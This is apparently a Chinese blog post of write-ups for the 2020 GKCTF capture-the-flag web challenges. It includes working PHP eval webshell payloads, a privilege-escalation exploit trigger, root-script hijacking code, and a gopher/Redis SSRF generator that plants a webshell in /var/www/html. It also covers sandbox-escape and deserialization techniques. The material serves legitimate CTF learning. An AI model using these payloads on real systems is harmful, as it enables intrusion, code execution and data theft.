2020-GKCTF

1. check in

考点:一句话 + 提权

参考资料:

1、writeup:https://mp.weixin.qq.com/s?__biz=MzIxMTAyMzMzOA==&mid=2247483807&idx=1&sn=a6f8f2a7eacb0bd70eee37394e2371df&chksm=975ae51aa02d6c0c4318d756392c42dec0f3b1272b2d0807b6cc8a961370882b1f30314085e3&mpshare=1&scene=23&srcid=&sharer_sharetime=1590332393328&sharer_shareid=c1bc1580fcad51a84dfb5e5c4f403880#rd

 <title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName(); 

这道题踩了很多坑,也学到很多知识,在此详细记录下。

坑点一:连蚁剑

直接利用eval("eval($_POST[a]);")就可以连上蚁剑了。

?Ginkgo=eval($_POST[a]);
?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7

http://937d2b97-a7b2-43ac-aab2-bee523949983.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7

坑点二:提权

Y1ng的一键日穿神器:

https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass/exploit.php
稍作改动:
pwn("echo `/readflag` > /tmp/result.txt");
或者:
pwn("/readflag");

在/tmp目录下上传提权脚本后,一定要去改权限,不然提权脚本无法正常执行。

改权限

final_exp:

#coding=utf-8
import requests
import base64
from urllib.parse import quote as q

url = 'http://937d2b97-a7b2-43ac-aab2-bee523949983.node3.buuoj.cn/?Ginkgo='
payload = 'include("/tmp/exp.php");'
# payload = 'include("/tmp/phpinfo.php");'
final_url = url + q(base64.b64encode(payload.encode()))
print(final_url)
res = requests.get(final_url)
print(res.text)

2. cve版签到

提示:cve-2020-7066

考点:ssrf

参考资料:

1、http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7066

2、https://www.suse.com/zh-cn/security/cve/CVE-2020-7066/

通过%00截断可以让get_headers()请求到错误的主机。

3. 老八小超市儿

考点:shopxo框架 + 提权

茫茫多页面,晕。复现成功学到很多知识,好好记录下。

参考资料:

1、渗透测试|shopxo后台全版本获取shell复现 http://www.nctry.com/1660.html

2、writeup:https://www.gem-love.com/ctf/2361.html

3、python 保存命令执行结果 https://www.bbsmax.com/A/LPdo8pGOz3/

坑点一:

宁信书,不如无书,在下载的主题压缩包放入shell后,只需把里面的default打包上传即可,同时访问路径为public/static/index/default/exp.php。

坑点二:

蚁剑连接后,根据提示flag在root目录下,但root目录无权限访问,查看auto.sh

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

查看/var/mail/makeflaghint.py,发现其可以写文件到根目录下的flag.hint,而根目录下的文件我们是没有写权限的,猜测python脚本是以root权限执行的,而python文件可写,构造payload。

或者用ps -ef查看auto.sh为root权限,那么python脚本也是拥有root权限的。

auto.sh

payload1:

f.write(os.popen("cat /root/flag").read())
os.system()返回的是0,1,不能返回命令执行结果,所以用os.popen()

payload2:

扫描root目录:

f = open("/tmp/pperk","w")
for root,dirs,files in os.walk(r"/root"):
    for file in files:
        f.write(os.path.join(root,file)+"\n")
#/root/.bashrc
#/root/.profile
#/root/flag
g = open("/root/flag","r")
f = open("/tmp/flag","w")
f.write(g.read())

4. EZ三剑客-EzWeb

考点:redis + ssrf

参考资料:

1、浅析Redis中SSRF的利用(very important) https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#Reference

2、writeup:https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzWeb

4.1 first step

?secret暴露出内网地址,对网段进行扫描,存在提示去扫描端口。

扫描内网网段

对上述内网地址进行端口扫描,爆出6379端口,回显内容如下:(redis的报错)

-ERR wrong number of arguments for 'get' command 1

4.2 next_step

贴上poc:

gopher://192.168.163.128:6379/_*1
$8
flushall
*3
$3
set
$1
1
$31


<?php eval($_GET["cmd"]);?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

exp如下:

import urllib
protocol="gopher://"
ip="173.224.146.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
   "set 1 {}".format(shell.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

payload放到输入框直接打,就可以写入一个一句话木马。

4.3 final_step

final

5. EZ三剑客-EzNode

考点:setTimeout整型溢出 + safer-eval漏洞引起的沙箱逃逸

参考资料:

1、 https://github.com/commenthol/safer-eval/issues/10

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();
// 调用express方法实例化对象

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

整型溢出绕过延时,payload配合saferEval一把梭。

6. EZ三剑客-EzTypecho

考点:PHP_SESSION_UPLOAD_PROGRESS + typecho1.1反序列化

参考资料:

1、typecho1.1反序列化漏洞 http://www.tomyxy.com/index.php/archives/3.html

2、EZ三剑客EzTypecho https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho

找到pop链,用大佬的exp,存在两个反序列化点,因此也算是两种解法。一种需要用PHP_SESSION_UPLOAD_PROGRESS绕过session检测,另一种则不需要。

7. Node-Exe

提示:程序为electron程序

web最后一题是个Electron, 很简单的, asar可以一键解包出js。

参考资料:

1、Electron跨平台程序破解的一般思路 https://www.52pojie.cn/thread-563895-1-1.html


   转载规则


《2020-GKCTF》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
2020_WHUCTF 2020_WHUCTF
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-26
下一篇 
2020_bjd3rd 2020_bjd3rd
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-24
  目录